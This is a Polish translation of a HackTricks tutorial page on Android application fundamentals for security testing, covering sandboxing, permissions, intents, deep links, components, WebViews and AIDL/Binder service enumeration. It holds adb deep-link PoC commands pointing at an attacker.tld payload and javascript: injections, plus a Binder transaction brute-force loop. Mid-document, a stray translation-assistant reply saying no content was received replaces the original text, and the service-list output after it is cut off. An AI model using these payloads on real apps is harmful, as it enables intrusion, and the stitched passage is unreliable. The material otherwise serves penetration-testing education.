Podstawy aplikacji Android

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Model bezpieczeństwa Androida

Są dwie warstwy:

  • The OS, który utrzymuje zainstalowane aplikacje odizolowane od siebie.
  • The application itself, która pozwala deweloperom udostępniać określone funkcjonalności i konfigurować możliwości aplikacji.

UID Separation

Każdej aplikacji przypisywane jest konkretne User ID. Odbywa się to podczas instalacji aplikacji, więc aplikacja może wchodzić w interakcję tylko z plikami należącymi do jej User ID lub z plikami współdzielonymi. W związku z tym tylko sama aplikacja, pewne komponenty OS i użytkownik root mogą uzyskać dostęp do danych aplikacji.

UID Sharing

Dwie aplikacje mogą zostać skonfigurowane do używania tego samego UID. Może to być przydatne do współdzielenia informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji będą zagrożone. Dlatego takie zachowanie jest odradzane.
Aby współdzielić ten sam UID, aplikacje muszą zdefiniować tę samą wartość android:sharedUserId w swoich manifestach.

Sandboxing

Android Application Sandbox pozwala uruchamiać każdą aplikację jako oddzielny proces pod oddzielnym user ID. Każdy proces ma własną maszynę wirtualną, więc kod aplikacji działa w izolacji od innych aplikacji.
Od Android 5.0(L) wymuszany jest SELinux. W praktyce SELinux zablokował wszystkie interakcje procesów, a następnie stworzono polityki, aby pozwolić tylko na oczekiwane interakcje między nimi.

Permissions

Kiedy instalujesz aplikację i prosi ona o uprawnienia, aplikacja żąda uprawnień skonfigurowanych w elementach uses-permission w pliku AndroidManifest.xml. Element uses-permission wskazuje nazwę żądanego uprawnienia w atrybucie name. Ma też atrybut maxSdkVersion, który przestaje pytać o uprawnienia w wersjach wyższych niż ta określona.
Zauważ, że aplikacje android nie muszą prosić o wszystkie uprawnienia na początku — mogą też żądać uprawnień dynamicznie, ale wszystkie uprawnienia muszą być zadeklarowane w manifeście.

Gdy aplikacja udostępnia funkcjonalność, może ograniczyć dostęp tylko do aplikacji, które mają określone uprawnienie.
Element permission ma trzy atrybuty:

  • The name uprawnienia
  • Atrybut permission-group, który pozwala grupować powiązane uprawnienia.
  • protection-level, który wskazuje jak uprawnienia są przyznawane. Istnieją cztery typy:
  • Normal: Używane gdy nie ma znanych zagrożeń dla aplikacji. Użytkownik nie musi ich zatwierdzać.
  • Dangerous: Wskazuje, że uprawnienie daje wnioskowanej aplikacji pewien poziom podwyższonego dostępu. Użytkownicy są proszeni o ich zatwierdzenie.
  • Signature: Tylko aplikacje podpisane tym samym certyfikatem co aplikacja eksportująca komponent mogą otrzymać uprawnienie. To najsilniejszy typ ochrony.
  • SignatureOrSystem: Tylko aplikacje podpisane tym samym certyfikatem co aplikacja eksportująca komponent lub aplikacje działające z dostępem systemowym mogą otrzymać uprawnienia.

Aplikacje preinstalowane

Te aplikacje zwykle znajdują się w katalogach /system/app lub /system/priv-app i niektóre z nich są optymalizowane (możesz nawet nie znaleźć pliku classes.dex). Aplikacje te warto sprawdzić, ponieważ czasami działają z zbyt wieloma uprawnieniami (jako root).

  • Te dostarczone z AOSP (Android OpenSource Project) ROM
  • Dodane przez producenta urządzenia
  • Dodane przez operatora komórkowego (jeśli zakupiono urządzenie u niego)

Rooting

Aby uzyskać dostęp root na fizycznym urządzeniu android zwykle trzeba wykorzystać 1 lub 2 vulnerabilities, które są często specyficzne dla danego urządzenia i wersji.
Gdy exploit zadziała, zwykle binarka su Linuksa jest kopiowana do lokalizacji znajdującej się w zmiennej PATH użytkownika, np. /system/xbin.

Gdy binarka su jest skonfigurowana, inna aplikacja Android służy do interfejsu z binarką su i obsługi żądań dostępu root jak Superuser i SuperSU (dostępne w Google Play store).

Caution

Zwróć uwagę, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie

ROMs

Możliwe jest zastąpienie OS instalując custom firmware. Dzięki temu można przedłużyć użyteczność starego urządzenia, obejść ograniczenia oprogramowania lub uzyskać dostęp do najnowszego kodu Android.
OmniROM i LineageOS to dwa z najpopularniejszych firmware’ów.

Zauważ, że nie zawsze konieczne jest rootowanie urządzenia, aby zainstalować custom firmware. Niektórzy producenci pozwalają na odblokowanie bootloadera w dobrze udokumentowany i bezpieczny sposób.

Implikacje

Gdy urządzenie jest zrootowane, dowolna aplikacja może zażądać dostępu jako root. Jeśli aplikacja złośliwa go uzyska, będzie miała dostęp praktycznie do wszystkiego i będzie mogła uszkodzić telefon.

Android Application Fundamentals

  • Format aplikacji Android nazywany jest formatem pliku APK. W praktyce to zasadniczo ZIP file (zmieniając rozszerzenie pliku na .zip, można rozpakować i obejrzeć zawartość).
  • Zawartość APK (nie wyczerpujące)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: zawiera prekompilowane zasoby, jak binarny XML.
  • res/xml/files_paths.xml
  • META-INF/
  • This is where the Certificate is located!
  • classes.dex
  • Zawiera Dalvik bytecode, reprezentujący skompilowany kod Java (lub Kotlin), który aplikacja wykonuje domyślnie.
  • lib/
  • Zawiera biblioteki natywne, rozdzielone według architektury CPU w podkatalogach.
  • armeabi: kod dla procesorów ARM
  • armeabi-v7a: kod dla procesorów ARMv7 i nowszych
  • x86: kod dla procesorów X86
  • mips: kod tylko dla MIPS
  • assets/
  • Przechowuje różne pliki potrzebne przez aplikację, potencjalnie w tym dodatkowe biblioteki natywne lub pliki DEX, czasami używane przez autorów malware do ukrywania dodatkowego kodu.
  • res/
  • Zawiera zasoby, które nie są skompilowane do resources.arsc

Dalvik & Smali

W developmentcie Android używa się Java lub Kotlin do tworzenia aplikacji. Zamiast używać JVM jak w aplikacjach desktopowych, Android kompiluje ten kod do Dalvik Executable (DEX) bytecode. Wcześniej maszyna wirtualna Dalvik obsługiwała ten bytecode, ale teraz Android Runtime (ART) przejęła to w nowszych wersjach Androida.

Dla reverse engineeringu Smali staje się kluczowy. To czytelna dla człowieka wersja DEX bytecode, działająca jak język asemblera przez tłumaczenie kodu źródłowego na instrukcje bytecode. Smali i baksmali odnoszą się do narzędzi do asemblera i disasemblacji w tym kontekście.

Intents

Intents są głównym środkiem, za pomocą którego aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST w komunikacji HTTP.

Tak więc Intent to w zasadzie wiadomość przekazywana między komponentami. Intents mogą być kierowane do konkretnych komponentów lub aplikacji, lub mogą być wysyłane bez określonego odbiorcy.
Prosto mówiąc, Intenty można użyć:

  • Do uruchomienia Activity, zwykle otwierając interfejs użytkownika aplikacji
  • Jako broadcasty, aby informować system i aplikacje o zmianach
  • Do uruchamiania, zatrzymywania i komunikacji z background service
  • Do dostępu do danych za pomocą ContentProviders
  • Jako callbacki do obsługi zdarzeń

Jeśli są vulnerable, Intents mogą być użyte do przeprowadzenia różnych ataków.

Intent-Filter

Intent Filters definiują jak activity, service lub Broadcast Receiver może wchodzić w interakcje z różnymi typami Intents. W praktyce opisują możliwości tych komponentów, takie jak akcje, które mogą wykonać, lub rodzaje broadcastów, które mogą przetwarzać. Głównym miejscem deklarowania tych filtrów jest plik AndroidManifest.xml, chociaż dla Broadcast Receiverów można je też zakodować.

Intent Filters składają się z kategorii, akcji i filtrów danych, z możliwością dołączenia dodatkowych metadanych. To ustawienie pozwala komponentom obsługiwać konkretne Intents, które pasują do zadeklarowanych kryteriów.

Krytycznym aspektem komponentów Android (activities/services/content providers/broadcast receivers) jest ich widoczność lub public status. Komponent jest uznawany za publiczny i może wchodzić w interakcje z innymi aplikacjami, jeśli jest exported z wartością true lub jeśli w manifeście zadeklarowano dla niego Intent Filter. Jednak deweloperzy mogą explicite uczynić te komponenty prywatnymi, upewniając się, że nie będą wchodzić w interakcje z innymi aplikacjami nieumyślnie. Osiąga się to ustawiając atrybut exported na false w ich definicjach w manifeście.

Ponadto deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów przez wymaganie konkretnych uprawnień. Atrybut permission może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nimi wchodzić w interakcję.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

Implicit Intents

Intents są programowo tworzone przy użyciu konstruktora Intent:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

Akcja wcześniej zadeklarowanego intentu to ACTION_SEND, a Extra to mailto Uri (Extra to dodatkowe informacje, których oczekuje intent).

Ten intent powinien być zadeklarowany w manifeście, jak w poniższym przykładzie:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Intent-filter musi dopasować action, data i category, aby otrzymać wiadomość.

Proces “Intent resolution” określa, która aplikacja powinna otrzymać każdą wiadomość. Proces ten uwzględnia priority attribute, które można ustawić w ideklaracji intent-filter, a ta z wyższym priorytetem zostanie wybrana. Ten priorytet można ustawić między -1000 a 1000, a aplikacje mogą użyć wartości SYSTEM_HIGH_PRIORITY. Jeśli wystąpi conflict, pojawia się okno “choser”, więc użytkownik może zdecydować.

Explicit Intents

Intent downloadIntent = new (this, DownloadService.class):

W innych aplikacjach, aby uzyskać dostęp do wcześniej zadeklarowanego Intentu, możesz użyć:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

These allow other applications to take actions on behalf of your application, using your app’s identity and permissions. Constructing a Pending Intent it should be specified an intent and the action to perform. If the declared intent isn’t Explicit (doesn’t declare which intent can call it) a malicious application could perform the declared action on behalf of the victim app. Moreover, if an action isn’t specified, the malicious app will be able to do any action on behalf the victim.

Broadcast Intents

Unlike the previous intents, which are only received by one app, broadcast intents can be received by multiple apps. However, from API version 14, it’s possible to specify the app that should receive the message using Intent.set Package.

Alternatively it’s also possible to specify a permission when sending the broadcast. The receiver app will need to have that permission.

There are two types of Broadcasts: Normal (asynchronous) and Ordered (synchronous). The order is base on the configured priority within the receiver element. Each app can process, relay or drop the Broadcast.

It’s possible to send a broadcast using the function sendBroadcast(intent, receiverPermission) from the Context class.
You could also use the function sendBroadcast from the LocalBroadCastManager ensures the message never leaves the app. Using this you won’t even need to export a receiver component.

Sticky Broadcasts

This kind of Broadcasts can be accessed long after they were sent.
These were deprecated in API level 21 and it’s recommended to not use them.
They allow any application to sniff the data, but also to modify it.

If you find functions containing the word “sticky” like sendStickyBroadcast or sendStickyBroadcastAsUser, check the impact and try to remove them.

In Android applications, deep links are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific URL scheme within an activity. When an Android device tries to access a URL with this scheme, the specified activity within the application is launched.

The scheme must be declarated in the AndroidManifest.xml file:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

Schemat z poprzedniego przykładu to examplescheme:// (zwróć także uwagę na category BROWSABLE)

Następnie, w polu data możesz określić host i path:

<data android:scheme="examplescheme"
android:host="example"
/>

Aby uzyskać do niego dostęp z przeglądarki, można ustawić link taki jak:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

Aby znaleźć kod, który zostanie wykonany w aplikacji, przejdź do aktywności wywołanej przez deeplink i wyszukaj funkcję onNewIntent.

Learn how to call deep links without using HTML pages.

Testowanie bezpieczeństwa Deep linków & adb PoCs

  • Entry point discovery: wyeksportowane Activities, które deklarują <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> są zdalnie osiągalne za pomocą spreparowanych URI (custom schemes lub http/https App Links). Priorytetowo traktuj ścieżki zawierające słowa kluczowe login/reset/payment/wallet/admin.
  • Validation bypass heuristics: słabe sprawdzenia hosta, takie jak endsWith(), contains(), zbyt liberalne regexy lub allowlisty oparte na podciągach, zazwyczaj można obejść za pomocą subdomen kontrolowanych przez atakującego, sztuczek z prefiksem/sufiksem oraz podwójnego kodowania URL/UTF‑8.
  • WebView sinks: jeśli handler przekazuje przychodzące URI lub parametry zapytania do WebView.loadUrl(...), możesz zmusić aplikację do renderowania dowolnej zawartości atakującej. Jeśli walidacja schematu jest słaba, spróbuj payloadów javascript: oraz zewnętrznych https:// URLi.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Operational tips: przechwyć wiele wariantów payloadów (external URL vs javascript:) i szybko je odtwórz na urządzeniu/emulatorze, aby odróżnić rzeczywiste problemy (open-redirect/auth-bypass/WebView URL injection) od szumu z analizy statycznej.
  • Automation: Deep-C automatyzuje deeplink hunting przez dekompilację APK (apktool + dex2jar + jadx), enumerację exported + browsable activities, korelację słabej walidacji i WebView.loadUrl przepływów oraz generowanie gotowych do uruchomienia adb PoCs (opcjonalnie auto-wykoniwanych z --exec).

AIDL - Android Interface Definition Language

The Android Interface Definition Language (AIDL) jest zaprojektowany do ułatwienia komunikacji między klientem a serwisem w aplikacjach Android poprzez interprocess communication (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony na Androidzie, AIDL upraszcza proces poprzez marshalling obiektów do formatu rozumianego przez system operacyjny, ułatwiając komunikację między różnymi procesami.

Key Concepts

  • Bound Services: Te serwisy wykorzystują AIDL do IPC, umożliwiając activities lub komponentom bindowanie się do serwisu, wysyłanie żądań i otrzymywanie odpowiedzi. Metoda onBind w klasie serwisu jest kluczowa dla inicjacji interakcji, co czyni ją istotnym obszarem do przeglądu pod kątem bezpieczeństwa i poszukiwania podatności.

  • Messenger: Działając jako bound service, Messenger ułatwia IPC z naciskiem na przetwarzanie danych przez metodę onBind. Należy dokładnie przejrzeć tę metodę pod kątem niebezpiecznego przetwarzania danych lub wykonywania wrażliwych funkcji.

  • Binder: Chociaż bezpośrednie użycie klasy Binder jest rzadziej spotykane ze względu na abstrakcję oferowaną przez AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra ułatwiający transfer danych między przestrzeniami pamięci różnych procesów. Dalsze wyjaśnienie dostępne jest pod adresem https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Components

These include: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

W aplikacjach Android activities pełnią rolę ekranów, wyświetlając różne części interfejsu użytkownika aplikacji. Aplikacja może mieć wiele activities, z których każda prezentuje użytkownikowi inny ekran.

The launcher activity jest głównym wejściem do aplikacji, uruchamianym po stuknięciu ikony aplikacji. Jest zdefiniowana w manifest file aplikacji z konkretnymi intentami MAIN i LAUNCHER:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Nie wszystkie aplikacje potrzebują launcher activity, szczególnie te bez interfejsu użytkownika, takie jak background services.

Aktywności (Activities) można udostępnić innym aplikacjom lub procesom, oznaczając je jako “exported” w manifeście. To ustawienie pozwala innym aplikacjom uruchomić tę aktywność:

<service android:name=".ExampleExportedService" android:exported="true"/>

Jednak dostęp do activity z innej aplikacji nie zawsze stanowi zagrożenie bezpieczeństwa. Problem pojawia się, jeśli wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do information leaks.

Cykl życia activity begins with the onCreate method, co ustawia UI i przygotowuje activity do interakcji z użytkownikiem.

Podklasa Application

W tworzeniu aplikacji na Androida aplikacja ma opcję utworzenia podklasy klasy Application, choć nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która zostaje zainstantiowana w aplikacji. Metoda attachBaseContext, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą onCreate. To ustawienie pozwala na wczesną inicjalizację zanim reszta aplikacji się uruchomi.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Usługi

Serviceskomponentami działającymi w tle zdolnymi wykonywać zadania bez interfejsu użytkownika. Te zadania mogą działać dalej nawet gdy użytkownicy przełączają się do innych aplikacji, co czyni usługi kluczowymi dla operacji długotrwałych.

Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym Intents są podstawową metodą uruchamiania ich jako punktu wejścia aplikacji. Gdy usługa zostanie uruchomiona za pomocą metody startService, jej metoda onStart zaczyna działać i utrzymuje się aż do momentu wywołania stopService. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używa się bindService do powiązania klienta z usługą, uruchamiając metodę onBind dla przekazywania danych.

Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez utrudniania interakcji użytkownika z aplikacją. Ponadto usługi mogą być udostępnione innym procesom na tym samym urządzeniu poprzez eksportowanie. Nie jest to zachowanie domyślne i wymaga jawnej konfiguracji w pliku manifestu Androida:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast receivers działają jak nasłuchiwacze w systemie komunikatów, pozwalając wielu aplikacjom reagować na te same komunikaty od systemu. Aplikacja może zarejestrować receiver na dwa główne sposoby: przez Manifest aplikacji lub dynamicznie w kodzie aplikacji za pomocą API registerReceiver. W Manifeście broadcasty są filtrowane przy użyciu uprawnień, podczas gdy dynamicznie zarejestrowane receivers mogą także określać uprawnienia podczas rejestracji.

Intent filters są kluczowe w obu metodach rejestracji — określają, które broadcasty uruchomią receiver. Gdy pasujący broadcast zostanie wysłany, wywoływana jest metoda onReceive receivera, co pozwala aplikacji zareagować odpowiednio, na przykład zmieniając zachowanie w odpowiedzi na ostrzeżenie o niskim poziomie baterii.

Broadcasty mogą być asynchroniczne, docierając do wszystkich receiverów bez ustalonej kolejności, lub synchronizowane, gdzie receiveery otrzymują broadcast zgodnie z ustawionymi priorytetami. Należy jednak pamiętać o potencjalnym ryzyku bezpieczeństwa — każda aplikacja może ustawić sobie wysoki priorytet, aby przechwycić broadcast.

Aby zrozumieć działanie receivera, szukaj metody onReceive w jego klasie. Kod tej metody może manipulować otrzymanym Intentem, co podkreśla konieczność walidacji danych przez receiveery, szczególnie w przypadku Ordered Broadcasts, które mogą modyfikować lub odrzucić Intent.

Content Provider

Content Providers są istotne do udostępniania strukturalnych danych między aplikacjami, co podkreśla potrzebę implementacji uprawnień w celu zabezpieczenia danych. Pozwalają aplikacjom uzyskać dostęp do danych z różnych źródeł, w tym baz danych, systemu plików lub sieci. Specyficzne uprawnienia, takie jak readPermission i writePermission, są kluczowe do kontrolowania dostępu. Dodatkowo tymczasowy dostęp można przyznać przez ustawienia grantUriPermission w manifeście aplikacji, wykorzystując atrybuty takie jak path, pathPrefix i pathPattern dla szczegółowej kontroli dostępu.

Walidacja wejścia jest kluczowa, aby zapobiegać podatnościom, takim jak SQL injection. Content Providers obsługują podstawowe operacje: insert(), update(), delete() i query(), ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.

Permission semantics and pitfalls (Content Providers)

  • Jeśli provider jest eksportowany (exported), należy jawnie zadeklarować zarówno readPermission, jak i writePermission. Gdy writePermission jest pominięte, domyślnie jest null, co oznacza, że dowolna aplikacja może spróbować wykonać insert/update/delete, jeśli te metody są zaimplementowane przez providera.
  • Nigdy nie łącz nieufnych projection, selection, selectionArgs ani sortOrder bezpośrednio w surowym SQL. Używaj białych list i wiązania parametrów (np. SQLiteQueryBuilder z projection map) oraz stałych szablonów WHERE.
  • Preferuj android:exported=“false”, chyba że provider musi być publiczny. Dla selektywnego udostępniania użyj grantUriPermissions z path/pathPrefix/pathPattern.

FileProvider, wyspecjalizowany Content Provider, koncentruje się na bezpiecznym udostępnianiu plików. Jest zdefiniowany w manifeście aplikacji z konkretnymi atrybutami do kontroli dostępu do folderów, oznaczanymi przez android:exported i android:resource wskazującym konfiguracje folderów. Należy zachować ostrożność przy udostępnianiu katalogów, aby nie ujawnić przypadkowo wrażliwych danych.

Przykładowe deklaracje w manifeście dla FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

A oto przykład określania współdzielonych folderów w filepaths.xml:

<paths>
<files-path path="images/" name="myimages" />
</paths>

For further information check:

WebViewy

WebViewy są jak mini-przeglądarki wewnątrz aplikacji Android, pobierające treści z sieci lub z plików lokalnych. Są narażone na podobne ryzyka jak zwykłe przeglądarki, ale istnieją sposoby na zmniejszenie tych ryzyk przez odpowiednie ustawienia.

Android oferuje dwa główne typy WebView:

  • WebViewClient nadaje się do prostego HTML, ale nie obsługuje funkcji JavaScript alert, co wpływa na sposób testowania XSS.
  • WebChromeClient działa bardziej jak pełne doświadczenie przeglądarki Chrome.

Ważne jest, że WebViewy nie współdzielą ciasteczek z główną przeglądarką urządzenia.

Do ładowania treści dostępne są metody takie jak loadUrl, loadData i loadDataWithBaseURL. Kluczowe jest upewnienie się, że te URL-e lub pliki są bezpieczne w użyciu. Ustawienia bezpieczeństwa można zarządzać za pomocą klasy WebSettings. Na przykład wyłączenie JavaScript przez setJavaScriptEnabled(false) może zapobiec atakom XSS.

JavaScriptowy “Bridge” pozwala obiektom Java na interakcję z JavaScript, wymagając oznaczenia metod przez @JavascriptInterface dla bezpieczeństwa od Android 4.2 wzwyż.

Pozwolenie na dostęp do treści (setAllowContentAccess(true)) umożliwia WebViewom dostęp do Content Providers, co może stanowić ryzyko, chyba że URL-e treści są zweryfikowane jako bezpieczne.

Aby kontrolować dostęp do plików:

  • Wyłączenie dostępu do plików (setAllowFileAccess(false)) ogranicza dostęp do systemu plików, z wyjątkami dla niektórych zasobów (assets), zapewniając, że są używane tylko do treści niekrytycznych.

Inne komponenty aplikacji i Zarządzanie urządzeniami mobilnymi (MDM)

Podpisy cyfrowe aplikacji

  • Digital signing jest obowiązkowe dla aplikacji Android, zapewniając, że są one autentycznie podpisane przed instalacją. Ten proces wykorzystuje certyfikat do identyfikacji aplikacji i musi być weryfikowany przez package manager urządzenia podczas instalacji. Aplikacje mogą być self-signed lub certified by an external CA, co chroni przed nieautoryzowanym dostępem i zapewnia, że aplikacja nie została zmodyfikowana podczas dostarczania na urządzenie.

Weryfikacja aplikacji dla zwiększonego bezpieczeństwa

  • Od Android 4.2 funkcja nazwana Verify Apps pozwala użytkownikom sprawdzać aplikacje pod kątem bezpieczeństwa przed instalacją. Ten proces weryfikacji może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami, a nawet uniemożliwić instalację szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.

Zarządzanie urządzeniami mobilnymi (MDM)

  • MDM solutions zapewniają nadzór i bezpieczeństwo urządzeń mobilnych poprzez Device Administration API. Wymagają instalacji aplikacji Android do efektywnego zarządzania i zabezpieczenia urządzeń mobilnych. Kluczowe funkcje obejmują egzekwowanie polityk haseł, wymuszanie szyfrowania pamięci oraz umożliwienie zdalnego wyczyszczenia danych (remote data wipe), zapewniając kompleksową kontrolę i bezpieczeństwo urządzeń mobilnych.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

Enumeracja i eksploatacja AIDL / Binder Services

Android Binder IPC udostępnia wiele system and vendor-provided services. Te usługi stają się attack surface gdy są eksportowane bez właściwej kontroli uprawnień (warstwa AIDL sama w sobie nie wykonuje no access-control).

1. Wykrywanie uruchomionych usług

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper

Nie otrzymałem treści do przetłumaczenia. Proszę wklej zawartość pliku src/mobile-pentesting/android-app-pentesting/android-applications-basics.md lub wklej tekst, który mam przetłumaczyć na polski. Zgodnie z wytycznymi zachowam oryginalne tagi, ścieżki, kod i nazwy technik oraz zwrócę wynik w formie listy numerowanej, jeśli tego oczekujesz.

145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • indeks (pierwsza kolumna) jest przypisywany w czasie wykonywania – nie polegaj na nim po ponownym uruchomieniu.
  • nazwa Binder (np. mtkconnmetrics) jest tym, co zostanie przekazane do service call.
  • Wartość w nawiasach to w pełni kwalifikowany AIDL interface, z którego wygenerowano stub.

2. Uzyskaj deskryptor interfejsu (PING)

Każdy stub Binder automatycznie implementuje kod transakcji 0x5f4e5446 (1598968902 w systemie dziesiętnym, ASCII “_NTF”).

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

Prawidłowa odpowiedź zwraca nazwę interfejsu zakodowaną jako ciąg UTF-16 wewnątrz Parcel.

3. Wywoływanie transakcji

Składnia: service call <name> <code> [type value ...]

Typowe specyfikatory argumentów:

  • i32 <int> – wartość 32-bitowa ze znakiem
  • i64 <long> – wartość 64-bitowa ze znakiem
  • s16 <string> – ciąg UTF-16 (Android 13+ używa utf16)

Przykład – rozpocznij monitorowanie sieci z uid 1 na urządzeniu MediaTek:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing nieznanych metod

Gdy pliki nagłówkowe są niedostępne, możesz iterate the code aż błąd zmieni się z:

Result: Parcel(00000000 00000000)  # "Not a data message"

do normalnej odpowiedzi Parcel lub SecurityException.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

Jeśli usługa została skompilowana with proguard, mapowanie trzeba odgadnąć – zobacz następny krok.

5. Mapowanie kodów ↔ metod przez onTransact()

Dekompiluj jar/odex, który implementuje interfejs (dla AOSP stubs sprawdź /system/framework; OEMs często używają /system_ext lub /vendor). Wyszukaj Stub.onTransact() – zawiera ogromny switch(transactionCode):

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

Teraz prototyp i typy parametrów są krystalicznie jasne.

6. Wykrywanie brakujących sprawdzeń uprawnień

Implementacja (często wewnętrzna klasa Impl) odpowiada za autoryzację:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

Brak takiej logiki lub białej listy uprzywilejowanych UID-ów (np. uid == 1000 /*system*/) jest wskaźnikiem podatności.

Studium przypadku – MediaTek startMonitorProcessWithUid() (transakcja 8) wykonuje w całości wiadomość Netlink bez jakiejkolwiek bramki uprawnień, pozwalając nieuprzywilejowanej aplikacji na interakcję z modułem Netfilter jądra i spamowanie dziennika systemowego.

7. Automatyzacja oceny

Narzędzia / skrypty przyspieszające Binder reconnaissance:

  • binderfs – udostępnia /dev/binderfs z węzłami dla każdej usługi
  • binder-scanner.py – przegląda tabelę Binder i wypisuje ACLs
  • Skrót Frida: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks